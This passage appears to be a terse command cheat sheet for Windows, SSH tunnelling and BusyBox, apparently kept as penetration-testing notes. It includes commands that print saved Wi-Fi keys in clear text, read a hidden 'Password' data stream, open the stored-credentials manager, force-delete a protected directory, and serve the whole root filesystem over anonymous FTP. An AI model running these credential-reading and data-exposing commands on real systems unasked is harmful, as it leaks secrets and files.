Cmd > mklink Link <FILE>
Cmd > mklink /D Link <DIRECTORY>

Wi-Fi Credentials # 

> netsh wlan show profiles
> netsh wlan show profiles "ESSID" key=clear

Installed Software # 

PS > Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table –AutoSize > InstalledSoftware.txt

ADS # 

PS > Get-Item 'file.txt' -Stream *
PS > Get-Content 'file.txt' -Stream Password
Or
PS > type 'file.txt:Password'

.msc # 

secpol.msc  -- "Local Security Policy" -- «Локальная политика безопасности»
gpedit.msc  -- "Local Group Policy Editor" -- «Редактор локальной групповой политики»
lusrmgr.msc -- "Local Users and Groups (Local)" -- «Локальные пользователи и группы (локально)»
certmgr.msc -- "Certificates - Current User" -- «Сертификаты - текущий пользователь»

KRShowKeyMgr #

Run:

rundll32.exe keymgr.dll, KRShowKeyMgr

Permissions #

Take own of a directory and remove it (run cmd.exe as admin):

Cmd > takeown /F C:\$Windows.~BT\* /R /A 
Cmd > icacls C:\$Windows.~BT\*.* /T /grant administrators:F 
Cmd > rmdir /S /Q C:\$Windows.~BT\

DISM #

TelnetClient # 

Cmd > DISM /online /Enable-Feature /FeatureName:TelnetClient

SSH #

ssh tunneling/port forwarding #

Local # 

ssh -L 80:intra.example.com:80 gw.example.com

Remote # 

ssh -R 8080:localhost:80 public.example.com

By default, OpenSSH only allows connecting to remote forwarded ports from the server host. However, the GatewayPorts option in the server configuration file sshd_config can be used to control this. The following alternatives are possible:

GatewayPorts no

This prevents connecting to forwarded ports from outside the server computer.

GatewayPorts yes

This allows anyone to connect to the forwarded ports. If the server is on the public Internet, anyone on the Internet can connect to the port.

GatewayPorts clientspecified

This means that the client can specify an IP address from which connections to the port are allowed. The syntax for this is:

ssh -R 52.194.1.73:8080:localhost:80 host147.aws.example.com

In this example, only connections from the IP address 52.194.1.73 to port 8080 are allowed.

BusyBox #

Read only BusyBox: # 

mount -o remount,rw /dev/mmcblk1p2 /

FTP # 

tcpsvd -vE 0.0.0.0 21 ftpd /

Live BusyBox #

https://www.busybox.net/live_bbox/live_bbox.html